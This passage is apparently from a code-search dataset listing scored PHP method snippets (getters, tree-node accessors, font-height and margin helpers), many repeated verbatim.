current()\n {\n return parent::current();\n }", "title": "" }, { "docid": "8063ab600b2789051342dd1a757facf9", "score": "0.56828326", "text": "public function current()\n {\n return parent::current();\n }", "title": "" }, { "docid": "8063ab600b2789051342dd1a757facf9", "score": "0.56828326", "text": "public function current()\n {\n return parent::current();\n }", "title": "" }, { "docid": "8063ab600b2789051342dd1a757facf9", "score": "0.56828326", "text": "public function current()\n {\n return parent::current();\n }", "title": "" }, { "docid": "8063ab600b2789051342dd1a757facf9", "score": "0.56828326", "text": "public function current()\n {\n return parent::current();\n }", "title": "" }, { "docid": "8063ab600b2789051342dd1a757facf9", "score": "0.56828326", "text": "public function current()\n {\n return parent::current();\n }", "title": "" }, { "docid": "8063ab600b2789051342dd1a757facf9", "score": "0.56828326", "text": "public function current()\n {\n return parent::current();\n }", "title": "" }, { "docid": "8063ab600b2789051342dd1a757facf9", "score": "0.56828326", "text": "public function current()\n {\n return parent::current();\n }", "title": "" }, { "docid": "8063ab600b2789051342dd1a757facf9", "score": "0.56828326", "text": "public function current()\n {\n return parent::current();\n }", "title": "" }, { "docid": "75299f129f7935979df47df3d62e47b9", "score": "0.56818056", "text": "public function GetObject()\n\t{\n\t\tif (!$this->dataRead)\n\t\t\t$this->ReadData();\n\n\t\tif ($this->type == 'commit') {\n\t\t\treturn $this->GetProject()->GetCommit($this->object);\n\t\t} else if ($this->type == 'tag') {\n\t\t\treturn $this->GetProject()->GetTagList()->GetTag($this->object);\n\t\t} else if ($this->type == 'blob') {\n\t\t\treturn $this->GetProject()->GetObjectManager()->GetBlob($this->object);\n\t\t}\n\n\t\treturn null;\n\t}", "title": "" }, { "docid": "5e72cbdc6e0b7c8f49e15b03032ca997", "score": "0.5675258", "text": "public function getRoot()\n {\n $sql = 'SELECT t.*, ' .\n '(SELECT COUNT(`treeId`) ' .\n 'FROM tree ' .\n 'WHERE parentId=t.treeId) ' .\n 'AS numChildren ' .\n 'FROM tree t ' .\n 'WHERE t.parentId=0';\n\n $rootrow = $this->_conn->getRow($sql);\n\n $root = new OTreeNode();\n $ci = new Page();\n $root->page = $ci->getPageById($rootrow->pageId);\n if ($rootrow->numChildren > 0) {\n $root->children = null;\n }\n foreach ($rootrow as $key => $value) {\n if (isset($root->$key)) {\n $root->$key = $value;\n }\n }\n return $root;\n }", "title": "" }, { "docid": "20459c39f6e5f74075689b42d2cb4d80", "score": "0.5671469", "text": "public function current()\n {\n return $this->data->getInstance($this->current);\n }", "title": "" }, { "docid": "5923d9118fcc72973cd0382b038796c0", "score": "0.56671417", "text": "public function current()\n {\n return current($this->objects);\n }", "title": "" }, { "docid": "e83fa91bd67e897237fd67c1ade72d9a", "score": "0.56626016", "text": "public function getNode()\n\t{\n\t\treturn $this->_node;\n\t}", "title": "" }, { "docid": "37d206cdd80ef7de51109ddc23a3c188", "score": "0.56603426", "text": "public function current(){\n\t\treturn $this->children[$this->position];\n\t}", "title": "" }, { "docid": "c63c7e592efe16bed4014fc4cef8889b", "score": "0.56572884", "text": "public function current()\n {\n\t\treturn current($this->children);\n }", "title": "" }, { "docid": "4632defe74d8c4326c69de2cd09ffce2", "score": "0.56542814", "text": "public function getObject()\n {\n return $this;\n }", "title": "" }, { "docid": "4632defe74d8c4326c69de2cd09ffce2", "score": "0.56542814", "text": "public function getObject()\n {\n return $this;\n }", "title": "" }, { "docid": "1ebd0e1cab8ca83894e6e4c3dc923ddd", "score": "0.5652191", "text": "public function get_repo_object()\n {\n return \\Chamilo\\Core\\Repository\\Viewer\\Manager::get_selected_objects();\n }", "title": "" }, { "docid": "d5c9ad509615b0c202fe37941c3b2f0f", "score": "0.565168", "text": "public function current()\n {\n return $this->_curModel;\n }", "title": "" }, { "docid": "d1c31be92c011ff9d36c4ecae1758b12", "score": "0.5641426", "text": "private function getTree(): TreeInterface\n {\n if (!$this->tree) {\n $data = $this->api->get($this->data->url);\n $this->tree = Tree::fromApiResponse($data, $this->api);\n }\n\n return $this->tree;\n }", "title": "" }, { "docid": "96954e4b65dcfa88fa4f9a1b7be18ac7", "score": "0.5636803", "text": "public function getObject()\n\t{\n\t\treturn $this->object;\n\t}", "title": "" }, { "docid": "aced76c6446fde63dc02aec3a8d2b48b", "score": "0.56310195", "text": "public function getTreeID() {\n\treturn $this->treeid;\n}", "title": "" }, { "docid": "8cccdc4be847c55c77f9261987fe5c12", "score": "0.56300247", "text": "public function current() {\n return $this->__children[$this->__position];\n }", "title": "" }, { "docid": "f7bb14b24b24dc738796a5b11077af68", "score": "0.562691", "text": "public function getNode()\n\t{\n\t\treturn $this->node;\n\t}", "title": "" }, { "docid": "fd0bd465285e7e5d6bb41803eff239f6", "score": "0.5624505", "text": "protected function getTargetObject()\n {\n return $this->targetObject;\n }", "title": "" }, { "docid": "bf6ce2dc6e8eaf2d6461a14258b0589a", "score": "0.56069064", "text": "public function current()\n\t{\n\t\treturn parent::current();\n\t}", "title": "" }, { "docid": "bf6ce2dc6e8eaf2d6461a14258b0589a", "score": "0.56069064", "text": "public function current()\n\t{\n\t\treturn parent::current();\n\t}", "title": "" }, { "docid": "bf6ce2dc6e8eaf2d6461a14258b0589a", "score": "0.56069064", "text": "public function current()\n\t{\n\t\treturn parent::current();\n\t}", "title": "" }, { "docid": "bf6ce2dc6e8eaf2d6461a14258b0589a", "score": "0.56069064", "text": "public function current()\n\t{\n\t\treturn parent::current();\n\t}", "title": "" }, { "docid": "bf6ce2dc6e8eaf2d6461a14258b0589a", "score": "0.56069064", "text": "public function current()\n\t{\n\t\treturn parent::current();\n\t}", "title": "" }, { "docid": "bf6ce2dc6e8eaf2d6461a14258b0589a", "score": "0.56069064", "text": "public function current()\n\t{\n\t\treturn parent::current();\n\t}", "title": "" }, { "docid": "bf6ce2dc6e8eaf2d6461a14258b0589a", "score": "0.56069064", "text": "public function current()\n\t{\n\t\treturn parent::current();\n\t}", "title": "" }, { "docid": "302d656f06fca3141f5fd573aa9c32a3", "score": "0.56005627", "text": "public function getParent()\n\t{\n\t\tif (!is_object($this->_item)) {\n\t\t\t$this->getCategory();\n\t\t}\n\n\t\treturn $this->_parent;\n\t}", "title": "" }, { "docid": "13552020dc1675640d10aef4747adfd0", "score": "0.5599594", "text": "public function getObject()\n {\n return $this->_object;\n }", "title": "" }, { "docid": "e4382fa83423b3c3fc4ac240f5eef715", "score": "0.559414", "text": "public function getSelected() {\n\t\treturn Temboo_Results::getSubItemByKey($this->base, \"selected\");\n\t}", "title": "" }, { "docid": "6d73fcafbcef64daefa8d2cf2cd1f9a2", "score": "0.5592392", "text": "public function getCurrentTreeNodeDataId()\n {\n return (int) $this->getRequest()->get(self::PARAM_CHILD_ID, 0);\n }", "title": "" }, { "docid": "730884637e1b156b85c0b3cbf504f4fc", "score": "0.55874485", "text": "public function getObject()\n {\n return isset($this->object) ? $this->object : null;\n }", "title": "" }, { "docid": "1a6440267c8ffa1b5de94fb8ef6928b4", "score": "0.55842066", "text": "public function getViewed() {\n return $this->viewedObj;\n }", "title": "" }, { "docid": "72746b971ac980398fdeb2ac55c30940", "score": "0.5583764", "text": "public function getObject()\r\n {\r\n return $this->object;\r\n }", "title": "" }, { "docid": "e955a596258664ad4a17c41feb37323f", "score": "0.55672526", "text": "public function getParent()\r\n {\r\n if(!is_object($this->_item)) {\r\n $this->getCategory();\r\n }\r\n\r\n return $this->_parent;\r\n }", "title": "" }, { "docid": "3be35fda75fbffc2b3afc4878d93cfde", "score": "0.5566802", "text": "function getParent() {\n return $this->parent;\n }", "title": "" }, { "docid": "4c0c5ff6478a5b013163165d16fab965", "score": "0.5558207", "text": "public function getParentItem() {\n $parent = wb_get_parent($this->controlID, wb_get_selected($this->controlID));\n\n foreach($this->controlNodes as $hash => $nodeControlID) {\n if($nodeControlID == $parent) {\n return $this->findNodeByHash($hash);\n }\n }\n\n return null;\n }", "title": "" }, { "docid": "779f9a6eaa7d29854bda18ad93953909", "score": "0.55493605", "text": "public function __invoke()\n {\n if ($this->currentView) {\n return $this->currentView;\n }\n }", "title": "" }, { "docid": "ed1ef7da73ab1bf69efc1857f64819af", "score": "0.5547865", "text": "public function current()\n {\n $properties = $this->source->current();\n /** @var ObjectInterface&FactoryInterface $factory */\n $factory = $this->factory;\n return $properties ? $factory->factory($properties, $factory) : null;\n }", "title": "" }, { "docid": "4ba2f3201ebb0200341a5db73a993b7d", "score": "0.5539167", "text": "function getParent() {\n\t\treturn $this->parent;\n\t}", "title": "" }, { "docid": "6407c46cad74901dc5f5fa0bf4ec921f", "score": "0.5538681", "text": "function GetTreeCtrl(){}", "title": "" }, { "docid": "e4cc977275e220b0d0be4f14543f292e", "score": "0.5536246", "text": "function &getParent() {\r\n\t\treturn $this->parentnode;\r\n\t}", "title": "" }, { "docid": "6ec8e0b8e786bc2b0b9f430110de7fe7", "score": "0.5530001", "text": "public function getObject() {\n return $this['object'];\n }", "title": "" }, { "docid": "3d863680a2b8428c94ea8621310049ec", "score": "0.55206436", "text": "public function getObject()\n {\n return $this->object;\n }", "title": "" }, { "docid": "3d863680a2b8428c94ea8621310049ec", "score": "0.55206436", "text": "public function getObject()\n {\n return $this->object;\n }", "title": "" }, { "docid": "3d863680a2b8428c94ea8621310049ec", "score": "0.55206436", "text": "public function getObject()\n {\n return $this->object;\n }", "title": "" }, { "docid": "6caf90bd2318dca2f5f9206af9355bf7", "score": "0.55119604", "text": "public function get_parent()\n {}", "title": "" }, { "docid": "789f34eaab536952760f0e6f5220be91", "score": "0.5509531", "text": "public function object() \n\t{\n\t\treturn $this->morphTo();\n\t}", "title": "" }, { "docid": "9705ab5b671bc6952ea97b06527ce655", "score": "0.55046695", "text": "public function current()\n {\n return new $this->cls(parent::current());\n }", "title": "" }, { "docid": "4466ca6accd5ddb5d32f84ea3d929735", "score": "0.54996526", "text": "public function getObj()\n {\n return $this->obj instanceof StateBuilder ? $this->obj->build() : $this->obj;\n }", "title": "" }, { "docid": "c02f55b76f2cb5f3b837eebd24610d03", "score": "0.54957026", "text": "public function getObject()\n {\n return $this->object;\n }", "title": "" }, { "docid": "c02f55b76f2cb5f3b837eebd24610d03", "score": "0.54957026", "text": "public function getObject()\n {\n return $this->object;\n }", "title": "" }, { "docid": "fbbcdf8eadc5a4870ac0a058588faffb", "score": "0.5486037", "text": "public function getParent(){\r\n\t\treturn $this->_parent;\r\n\t}", "title": "" }, { "docid": "e94ff4df35dcf4154398ffdd99eff670", "score": "0.5483048", "text": "function getTree() {\r\n // optional $maxLevel is the maximum level, set to 0 to show all levels\r\n\r\n return $this->tree;\r\n }", "title": "" }, { "docid": "cef70dd96653848fcd836f232cab1116", "score": "0.54770696", "text": "public function getParent()\r\n {\r\n return $this->parent;\r\n }", "title": "" }, { "docid": "cef70dd96653848fcd836f232cab1116", "score": "0.54770696", "text": "public function getParent()\r\n {\r\n return $this->parent;\r\n }", "title": "" }, { "docid": "00b5e7fbeeadfae91a68340e5a49fc01", "score": "0.54748327", "text": "public function getParent()\n {\n return $this->nodeSource->getParent();\n }", "title": "" }, { "docid": "6241395c6caea3dee043cbb9f5ecdc82", "score": "0.54743445", "text": "function get_parent()\r\n {\r\n return $this->parent;\r\n }", "title": "" }, { "docid": "f14c3b985d60f6c42cac24add18e85e1", "score": "0.54698175", "text": "public function getParent()\n {\n return ($this->_parent);\n }", "title": "" }, { "docid": "3b5a9af93905046230181eb2ef42664a", "score": "0.5468631", "text": "public function current()\n {\n return $this->target->item($this->key());\n }", "title": "" }, { "docid": "675000cb9ebd9f5227e2ce18750d6200", "score": "0.54632986", "text": "public function getView()\n {\n if (!$this->view->getId()) {\n $this->view->load($this->getViewId());\n }\n return $this->view;\n }", "title": "" }, { "docid": "c08b032dfdaf4e2f459c4f2a9f7b1e2e", "score": "0.54604393", "text": "protected function object()\n {\n return method_exists($this->relationship->getRelated(), 'bootNodeTrait')\n ? $this->relationship->getRelated()\n : $this->relationship;\n }", "title": "" }, { "docid": "4ffa539e2fb2c5c267246246d43203aa", "score": "0.54586124", "text": "public function getNode() {\n return \\Rbac::get($this->defaultNodeName())->getNode();\n }", "title": "" }, { "docid": "fd9bbe4cbf7b8a91ef78b1ea756b948e", "score": "0.54573005", "text": "function parent()\n {\n if ( $this->State_ == \"Dirty\" )\n $this->get( $this->ID );\n \n return $this->Parent;\n\n }", "title": "" }, { "docid": "ec5cde5b6ed084a9c6721a924dca0c8b", "score": "0.54569656", "text": "public function getRoot()\n\t{\n\t\treturn $this->_root->getNode();\n\t}", "title": "" } ]
1726a7bc4b35c43c3a61bfb6ae7250e4
Specify the fraction of the font height that should be added as vertical margin
[ { "docid": "1df263638d910c751b0557a8a1485576", "score": "0.0", "text": "function SetLabelVMarginFactor($aVal) {\r\n\t$this->iLabelVMarginFactor = $aVal;\r\n }", "title": "" } ]
[ { "docid": "b015d9216c9ec7ea62b8e2d7c5980ee5", "score": "0.6726947", "text": "function setMarginHeight($value) { $this->_marginheight=$value; }", "title": "" }, { "docid": "a0862a9ec7463b3750d8ed5994a1f79d", "score": "0.63732135", "text": "public function getFontHeight() {\r\n return $this->textHeight(\"W\");\r\n }", "title": "" }, { "docid": "7951caa40c16d29d956c46a7f74af321", "score": "0.6288116", "text": "function getMarginHeight() { return $this->_marginheight; }", "title": "" }, { "docid": "817214a07a87083b17b0b19decbc64fb", "score": "0.61291975", "text": "public function getBaseFontPixelSize();", "title": "" }, { "docid": "da4973997eac360074e61b86ebd97089", "score": "0.5959626", "text": "public function getHeadingsFontPixelSize();", "title": "" }, { "docid": "af76ce27e61df54a20d45374bfa55bdd", "score": "0.5868157", "text": "public function getBasePixelLineHeight();", "title": "" }, { "docid": "227ea73f09fe159f6d7c349584e00194", "score": "0.579828", "text": "function GetVertSpacing() {\r\n\treturn $this->iVertSpacing;\r\n }", "title": "" }, { "docid": "ea5222f90ca31e7ec8f9137895c08394", "score": "0.57900465", "text": "private function parse_line_height_px( $value ) {\n\t\t$this->style[] = 'line-height:' . wpex_sanitize_data( $value, 'px' ) . ';';\n\t}", "title": "" }, { "docid": "81c05187f881840f51f7fc3f8077fa99", "score": "0.57709783", "text": "public function fontTextHeight($f) {\r\n return $this->textHeight($f, \"W\");\r\n }", "title": "" }, { "docid": "685084511cb8a99be8493e6222efabff", "score": "0.57593894", "text": "public function getCurrentLineHeight()\n {\n return ezcDocumentPcssMeasure::create( $this->currentFont['size'] . 'pt' )->get();\n }", "title": "" }, { "docid": "02c5bb7527d00aad89cbaae4fba7e027", "score": "0.57531935", "text": "public function getHeadingsPixelLineHeight();", "title": "" }, { "docid": "6643e7463595ff3194f87a799a853a52", "score": "0.5697456", "text": "public function getfontsize()\n {\n }", "title": "" }, { "docid": "0910ee760489e329b54704e51881a374", "score": "0.5643568", "text": "function getHeight()\n { return($this->YSize); }", "title": "" }, { "docid": "184eb56c5929583399fd3950aa4a2ec7", "score": "0.5638097", "text": "public function measure(string $text, float $fontSize, int $spacing) : array {}", "title": "" }, { "docid": "21d980eef2757cd7d13c060994d00c8d", "score": "0.54447734", "text": "function defaultProfitMargin_HH()\n{\n return 25;\n}", "title": "" }, { "docid": "b154459ac3464994ae79182d94677bb4", "score": "0.5412791", "text": "public function get_height();", "title": "" }, { "docid": "1d1efa74502e03ed06f6df024bf8eda5", "score": "0.5407928", "text": "function get_legend_height($dataset, $font, $fontsize) {\n $description = $dataset->GetDataDescription();\n\n $total_value = 0;\n\n foreach($description[\"Description\"] as $key => $value) {\n $position = imageftbbox($fontsize, 0, $font, $value);\n $textheight = $position[1] - $position[7];\n $total_value += abs($textheight);\n }\n\n return $total_value + 20;\n}", "title": "" }, { "docid": "afde0f18d7b4e14f153de5c8d5d83c7e", "score": "0.5352889", "text": "private function _getFontHeight($font, $fontSize) {\n \n return ($font->getLineHeight() / $font->getUnitsPerEm() * $fontSize);\n }", "title": "" }, { "docid": "ead04e5c922763d057adc16d59fe568c", "score": "0.534559", "text": "public function getLetterHeight($font, $size)\r\n {\r\n return $this->fontHeightSettings[$font][$size] + 4;\r\n }", "title": "" }, { "docid": "5fb70cf2f1568ef206fbba4ad1f0268a", "score": "0.53405607", "text": "function SetVertSpacing($aSpacing) {\r\n\t$this->iVertSpacing = $aSpacing;\r\n }", "title": "" }, { "docid": "b6686a2ef19001ab27312441341108c8", "score": "0.5334435", "text": "public function getHeight() : float {\n $height = $this->getHeightWithoutMargin();\n\n if (!$this->firstLine) {\n $height += GalleryImage::getMargin();\n }\n\n return $height;\n }", "title": "" }, { "docid": "c96c91ef77271c7b02dba80f748d920b", "score": "0.53068155", "text": "public function textHeight($text) {\r\n return $this->_textHeight($this->font, $text);\r\n }", "title": "" }, { "docid": "452a66ff0ca52093c30c373f0d40cb46", "score": "0.530423", "text": "function getHeight() { return $this->_height; }", "title": "" }, { "docid": "748cbe7ef83e348a9d33d4a42f59ccdc", "score": "0.5281214", "text": "public function testGetDefaultHeight()\n {\n $this->object->setText('012345');\n $this->assertEquals(20, $this->object->getHeight(true));\n }", "title": "" }, { "docid": "5e0fe5eeef503e6b6cdf8c47e4bc2a3f", "score": "0.5270994", "text": "public function testGetDefaultHeight()\n {\n $this->object->setText('0000123456789');\n $this->assertEquals(62, $this->object->getHeight(true));\n }", "title": "" }, { "docid": "792d02701e42daecd127d9a6e6f982c4", "score": "0.525001", "text": "private function parse_height_px( $value ) {\n\t\t$this->style[] = 'height:' . wpex_sanitize_data( $value, 'px' ) . ';';\n\t}", "title": "" }, { "docid": "70636d779f63f4109577dbbbf7158b2d", "score": "0.52444696", "text": "public function get_height()\n {\n return round($this->_height / $this->_aa_factor);\n }", "title": "" }, { "docid": "449fa42f6961ac22447c15277672f229", "score": "0.52372783", "text": "protected function getHeight()\n {\n $lineCounts = count($this->lines);\n\n return ($lineCounts + 1) * $this->lineHeight;\n }", "title": "" }, { "docid": "fb7c01b858c7ac0a852f2d2547ba776e", "score": "0.5223474", "text": "function getFontSize()\n {\n $fs = $GLOBALS['PMA_Config']->get('FontSize');\n if (!is_null($fs)) {\n return $fs;\n }\n return '82%';\n }", "title": "" }, { "docid": "4fd3ea0ff04c13368689312a212f5059", "score": "0.5219717", "text": "public function getHeight()\n {\n return $this->getStyle('height');\n }", "title": "" }, { "docid": "8ce9ee919bdc91810382af7315ef4449", "score": "0.52153814", "text": "public function getHeight(){\n return($this->height);\n }", "title": "" }, { "docid": "d48fbd6528b1ee3102eb22f1a0067953", "score": "0.5214305", "text": "public function getHeight()\n {\n return $this->term_height;\n }", "title": "" }, { "docid": "86f7327a0454e0b992a85e17a5eba932", "score": "0.52122813", "text": "public function getMarginBottom()\n {\n return $this->marginBottom;\n }", "title": "" }, { "docid": "99d23b19575cba9a0a3c5e27b0991c4c", "score": "0.52069294", "text": "public function getButtonFontPixelSize();", "title": "" }, { "docid": "04a4140ebd329d12cd283acca1ef2895", "score": "0.5204231", "text": "public function getButtonLineHeight();", "title": "" }, { "docid": "e8c82b4a7767f0cf5f747e35cece53aa", "score": "0.5167225", "text": "public function get_number_line_margin() {\n return $this->number_line_margin;\n }", "title": "" }, { "docid": "22008040b466be1c893d7862aacca541", "score": "0.516602", "text": "public function getMarginBottom()\n {\n return $this->_marginBottom;\n }", "title": "" }, { "docid": "25a149fa4f2c5bafd1d64a55ed279c62", "score": "0.51533073", "text": "public static function invalidSizeHeight()\n {\n return new static('The height of a size must be a numeric value.');\n }", "title": "" }, { "docid": "033e02ecc7c804e9b0168bd3f1b91868", "score": "0.51292795", "text": "private function adaptHeight() \n { \n $printSideBottomBorder = $this->printSideArea->getPosY() + $this->printSideArea->getHeight();\n\n $this->scalePrintableHeight(); \n\n $printableVariantAdaptedHeight = $printSideBottomBorder - $this->printableVariant->getPosY();\n\n if ($this->printableVariant->getHeight() > $printableVariantAdaptedHeight) { \n $this\n ->printableVariant\n ->setHeight($printableVariantAdaptedHeight);\n \n $this->scalePrintableWidth();\n }\n \n return $this;\n }", "title": "" }, { "docid": "275fdbfd2e714eba785e7b350ccac3e4", "score": "0.5127332", "text": "public function fontSizeInherit($value) {\n return $this->setProperty('fontSizeInherit', $value);\n }", "title": "" }, { "docid": "061fb15d658cb5c6fd10894e13d47121", "score": "0.5095869", "text": "function listeGetPadding()\t{ return '0mm'; }", "title": "" }, { "docid": "8757513de11102a9b6bde7a8e1cf855c", "score": "0.5089921", "text": "public function _textHeight($f, $text) {\r\n return imagefontheight($f->getFontSize());\r\n }", "title": "" }, { "docid": "3f87570ac1b619759316ffc0cadba43d", "score": "0.5085637", "text": "function SetFontSpacing($size) {\n if($this->FontSpacingPt==$size)\n return;\n $this->FontSpacingPt = $size;\n $this->FontSpacing = $size/$this->k;\n if ($this->page>0)\n $this->_out(sprintf('BT %.3f Tc ET', $size));\n }", "title": "" }, { "docid": "5a68ae35812957fadf05ccca628354e4", "score": "0.507587", "text": "public function size() {\r\n return (int) $this->data->textElement->font['size'] ? (int) $this->data->textElement->font['size'] : 10;\r\n }", "title": "" }, { "docid": "d03c626dde16e6a1991f8aa203c79045", "score": "0.5020493", "text": "public function _Get_Height_Chars($pt)\n {\n // Array matching character sizes and line heights\n $_Table_Hauteur_Chars = [6=>2, 7=>2.5, 8=>3, 9=>4, 10=>5, 11=>6, 12=>7, 13=>8, 14=>7.5, 15=>9, 16=>8, 18=>9];\n if (in_array($pt, array_keys($_Table_Hauteur_Chars))) {\n return $_Table_Hauteur_Chars[$pt];\n } else {\n return $pt * 0.352777778; // postscript points to mm\n }\n }", "title": "" }, { "docid": "de4ed114d58622a03f33c6540f5dc50d", "score": "0.5010686", "text": "public function setBlockHeight(int $input);", "title": "" }, { "docid": "e5a2f0bab21de8a98de88cf7ae3dd243", "score": "0.5008209", "text": "public function getHeight()\n {\n }", "title": "" }, { "docid": "c2f19fe01b6f6fab7e8ca5d4b62078de", "score": "0.4993289", "text": "function mr_blocks_section_margin() {\n\t$return = '';\n\n\t$mp = get_field( 'mp' );\n\n\tif ( $mp ) {\n\t\t$margin_top = isset( $mp['mt'] ) ? $mp['mt'] : false;\n\t\t$margin_bottom = isset( $mp['mb'] ) ? $mp['mb'] : false;\n\t}\n\n\tif ( $margin_top && $margin_top > 0 ) {\n\t\t$return .= ' mt-' . intval( $margin_top );\n\t}\n\n\tif ( $margin_bottom && $margin_bottom > 0 ) {\n\t\t$return .= ' mb-' . intval( $margin_bottom );\n\t}\n\n\treturn ( '' === $return ) ? false : $return;\n}", "title": "" }, { "docid": "ac5a23e3a349a9edafd3a30c7697fe72", "score": "0.4980029", "text": "private function getFontSize($addto=0) {\r\n\t\t\t$size = $this->_fontsize;\r\n\t\t\tif( $this->_fontsize == 0 ) {\r\n\t\t\t\t$size = ((int)( $this->_size / 1.5 ));\r\n\t\t\t}\r\n\t\t\treturn $size + $addto;\r\n\t\t}", "title": "" }, { "docid": "cdd14099deb36dfd69a83d95e5fdfe4b", "score": "0.49692023", "text": "public function height($value) {\n return $this->setProperty('height', $value);\n }", "title": "" }, { "docid": "cdd14099deb36dfd69a83d95e5fdfe4b", "score": "0.49692023", "text": "public function height($value) {\n return $this->setProperty('height', $value);\n }", "title": "" }, { "docid": "446319c2fd0ecb0525eed77d80907461", "score": "0.4968078", "text": "public function automargin($length, $margin) {\n return $length - $margin * 2;\n }", "title": "" }, { "docid": "c3cd44d5f84db1e59750e5ae066d8c6a", "score": "0.49527013", "text": "public function get_fontsize() {\n return $this->fontsize;\n }", "title": "" }, { "docid": "c3cd44d5f84db1e59750e5ae066d8c6a", "score": "0.49527013", "text": "public function get_fontsize() {\n return $this->fontsize;\n }", "title": "" }, { "docid": "c3cd44d5f84db1e59750e5ae066d8c6a", "score": "0.49527013", "text": "public function get_fontsize() {\n return $this->fontsize;\n }", "title": "" }, { "docid": "f8122ea7e4ed3e1eb6b47b488c58d51c", "score": "0.49458057", "text": "public function fontSize($value) {\n return $this->setProperty('fontSize', $value);\n }", "title": "" }, { "docid": "523b351523cc6210dc1fa7e518984cc9", "score": "0.49298275", "text": "public function setHeight($val)\n {\n $this->_propDict[\"height\"] = $val;\n return $this;\n }", "title": "" }, { "docid": "eed393dc05c76a8572f2b69eee76e2f7", "score": "0.4922639", "text": "function getHeight() {\n\t\treturn $this->data['height'];\n\t}", "title": "" }, { "docid": "529fec3b10617c79b524038e96fb8b2b", "score": "0.49211216", "text": "function NbLines($w,$txt)\r\n{\r\n $cw=&$this->CurrentFont['cw'];\r\n/*\r\necho \"\\$w=$w<br />\";\r\necho \"\\$txt=$txt<br />\";\r\necho \"\\$cw<br /><pre>\";\r\nprint_r($cw);\r\necho \"</pre>\";\r\n*/\r\n if($w==0)\r\n $w=$this->w-$this->rMargin-$this->x;\r\n $wmax=($w-2*$this->cMargin)*1000/$this->FontSize;\r\n $s=str_replace(\"\\r\",'',$txt);\r\n $nb=strlen($s);\r\n if($nb>0 and $s[$nb-1]==\"\\n\")\r\n $nb--;\r\n $sep=-1;\r\n $i=0;\r\n $j=0;\r\n $l=0;\r\n $nl=1;\r\n while($i<$nb)\r\n {\r\n $c=$s[$i];\r\n if($c==\"\\n\")\r\n {\r\n $i++;\r\n $sep=-1;\r\n $j=$i;\r\n $l=0;\r\n $nl++;\r\n continue;\r\n }\r\n if($c==' ')\r\n $sep=$i;\r\n //echo \"\\$c=$c<br />\\n\\$cw[$c]=\".$cw[$c].\"<br />\\n\";\r\n /*\r\n if(preg_match(\"#^[A-za-z0-9 ]$#\", $c)) {\r\n $l+=$cw[$c];\r\n }\r\n else {\r\n $l+=$cw[\"a\"];\r\n }\r\n */\r\n if((isset($cw[$c]))&&(is_numeric($cw[$c]))) {\r\n $l+=$cw[$c];\r\n }\r\n if($l>$wmax)\r\n {\r\n if($sep==-1)\r\n {\r\n if($i==$j)\r\n $i++;\r\n }\r\n else\r\n $i=$sep+1;\r\n $sep=-1;\r\n $j=$i;\r\n $l=0;\r\n $nl++;\r\n }\r\n else\r\n $i++;\r\n }\r\n return $nl;\r\n}", "title": "" }, { "docid": "369edd74ab903ebd0df5262b0dbc3c2b", "score": "0.49208114", "text": "function Footer()\n{\n // Position at 1.5 cm from bottom\n $this->SetY(-15);\n // Arial italic 8\n $this->SetFont('Arial','I',8);\n // Page number\n $this->Cell(0,10,'Page '.$this->PageNo().'/{nb}',0,0,'C');\n}", "title": "" }, { "docid": "369edd74ab903ebd0df5262b0dbc3c2b", "score": "0.49208114", "text": "function Footer()\n{\n // Position at 1.5 cm from bottom\n $this->SetY(-15);\n // Arial italic 8\n $this->SetFont('Arial','I',8);\n // Page number\n $this->Cell(0,10,'Page '.$this->PageNo().'/{nb}',0,0,'C');\n}", "title": "" }, { "docid": "369edd74ab903ebd0df5262b0dbc3c2b", "score": "0.49208114", "text": "function Footer()\n{\n // Position at 1.5 cm from bottom\n $this->SetY(-15);\n // Arial italic 8\n $this->SetFont('Arial','I',8);\n // Page number\n $this->Cell(0,10,'Page '.$this->PageNo().'/{nb}',0,0,'C');\n}", "title": "" }, { "docid": "369edd74ab903ebd0df5262b0dbc3c2b", "score": "0.49208114", "text": "function Footer()\n{\n // Position at 1.5 cm from bottom\n $this->SetY(-15);\n // Arial italic 8\n $this->SetFont('Arial','I',8);\n // Page number\n $this->Cell(0,10,'Page '.$this->PageNo().'/{nb}',0,0,'C');\n}", "title": "" }, { "docid": "2d5ae707d828f89499128cf1253afb19", "score": "0.49188095", "text": "public function getHeight();", "title": "" }, { "docid": "2d5ae707d828f89499128cf1253afb19", "score": "0.49188095", "text": "public function getHeight();", "title": "" }, { "docid": "2d5ae707d828f89499128cf1253afb19", "score": "0.49188095", "text": "public function getHeight();", "title": "" }, { "docid": "2d5ae707d828f89499128cf1253afb19", "score": "0.49188095", "text": "public function getHeight();", "title": "" }, { "docid": "a5d16fcd0fb09c6635479c23f102feb2", "score": "0.4916435", "text": "function setYMargin($y) {\n $this->_y_margin = $y;\n }", "title": "" }, { "docid": "1390ccb21ddb3e6e9cf490a9b41237ee", "score": "0.49126837", "text": "function column($col, $heightPer, $height)\n{\n echo \"<td class=\\\"columnContainerCell\\\" width=\\\"\" . 95/$col . \"%\\\" rowspan=\\\"11\\\">\\n\";\n echo \"<table class=\\\"columnContainer\\\" height=\\\"\" . (((100/11)/$heightPer)*($height)) . \"%\\\">\\n\";\n echo \"<tr>\\n\";\n echo \"<td class=\\\"column\\\">\";\n \n //Display the count in the bar\n //Displayed vertically as not to change column width\n if ($height != 0)\n {\n //echo \"<font size=\\\"0\\\" color=\\\"white\\\">\";\n $heightArray = str_split($height);\n for($i = 0; $i < count($heightArray); $i++)\n echo $heightArray[$i].\"<br>\";\n //echo \"</font>\";\n }\n echo \"\\n\";\n echo \"</td>\\n\";\n echo \"</tr>\\n\";\n echo \"</table>\\n\";\n echo \"</td>\\n\"; \n}", "title": "" }, { "docid": "430ddcaecd05ade4345786723ef211e2", "score": "0.4911678", "text": "function beforeDraw()\n {\n echo \"<div style='font-size: {$this->size};'>\";\n }", "title": "" }, { "docid": "2beadaa859bd4b19cb18e48225ee7123", "score": "0.4910019", "text": "public function getHeight(): float\n {\n return $this->height;\n }", "title": "" }, { "docid": "104049162b053c45045439166994b7fe", "score": "0.49098492", "text": "public function scalePrintableHeight()\n {\n $varianWidth = $this\n ->printableVariant\n ->getWidth();\n \n $percentWidth = ceil($varianWidth * 100 / $this->defaultImageWidth);\n $variantHeight = ceil($percentWidth * $this->defaultImageHeight / 100);\n \n $this\n ->printableVariant\n ->setHeight($variantHeight);\n \n return $this;\n }", "title": "" }, { "docid": "ce8141e4ec87015f3419bf65f4e6c8de", "score": "0.4906892", "text": "public function getHeight() {\n return $bBox->height();\n }", "title": "" }, { "docid": "b4e477eefe44250ebf8f39c5d580e1f3", "score": "0.4903932", "text": "public function getHeight()\n {\n return $this->properties['rect'][3] - $this->properties['rect'][1];\n }", "title": "" }, { "docid": "b9007c1752e4925a9edc6ac735ead65a", 